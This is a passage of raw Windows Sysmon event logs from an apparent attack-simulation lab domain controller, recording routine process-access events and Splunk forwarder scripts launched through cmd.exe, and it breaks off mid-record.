09:11:47.133{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005401Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:47.133{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005400Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:47.133{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005399Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:47.133{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005398Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:47.133{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005397Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:47.133{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005396Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:47.133{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005395Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:47.133{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005394Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:47.133{A5F018FF-28BC-5F80-0500-000000007F01}644772C:\Windows\system32\csrss.exe{A5F018FF-2953-5F80-2D01-000000007F01}1872C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000005393Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:47.133{A5F018FF-294E-5F80-0501-000000007F01}35041608C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-2953-5F80-2D01-000000007F01}1872C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7d35e7|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7cdcb9|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7ca4ec|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7ca0a3|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7c9f0d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6d7908|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6de2ee|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6b29fa|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6b4274|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+e42dc|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ec682|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+e9959|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+d7f31|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000005392Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:47.135{A5F018FF-2953-5F80-2D01-000000007F01}1872C:\Windows\System32\cmd.exe10.0.14393.0 (rs1_release.160715-1616)Windows Command ProcessorMicrosoft® Windows® Operating SystemMicrosoft CorporationCmd.ExeC:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\WinRegMon.cmd" --scheme"C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x80000000000000005391Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:47.024{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-2953-5F80-2C01-000000007F01}4224C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005390Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:47.024{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005389Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:47.024{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005388Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:47.024{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005387Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:47.024{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005386Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:47.024{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005385Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:47.024{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005384Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:47.024{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005383Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:47.024{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005382Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:47.024{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005381Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:47.024{A5F018FF-28BC-5F80-0500-000000007F01}644772C:\Windows\system32\csrss.exe{A5F018FF-2953-5F80-2C01-000000007F01}4224C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000005380Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:47.024{A5F018FF-294E-5F80-0501-000000007F01}35041608C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-2953-5F80-2C01-000000007F01}4224C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7d35e7|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7cdcb9|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7ca4ec|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7ca0a3|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7c9f0d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6d7908|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6de2ee|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6b29fa|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6b4274|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+e42dc|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ec682|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+e9959|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+d7f31|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000005379Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:47.025{A5F018FF-2953-5F80-2C01-000000007F01}4224C:\Windows\System32\cmd.exe10.0.14393.0 (rs1_release.160715-1616)Windows Command ProcessorMicrosoft® Windows® Operating SystemMicrosoft CorporationCmd.ExeC:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\WinPrintMon.cmd" --scheme"C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x80000000000000005469Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:48.383{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-2953-5F80-3201-000000007F01}4020C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005468Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:48.367{A5F018FF-28BC-5F80-0500-000000007F01}6442396C:\Windows\system32\csrss.exe{A5F018FF-2953-5F80-3201-000000007F01}4020C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000005467Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 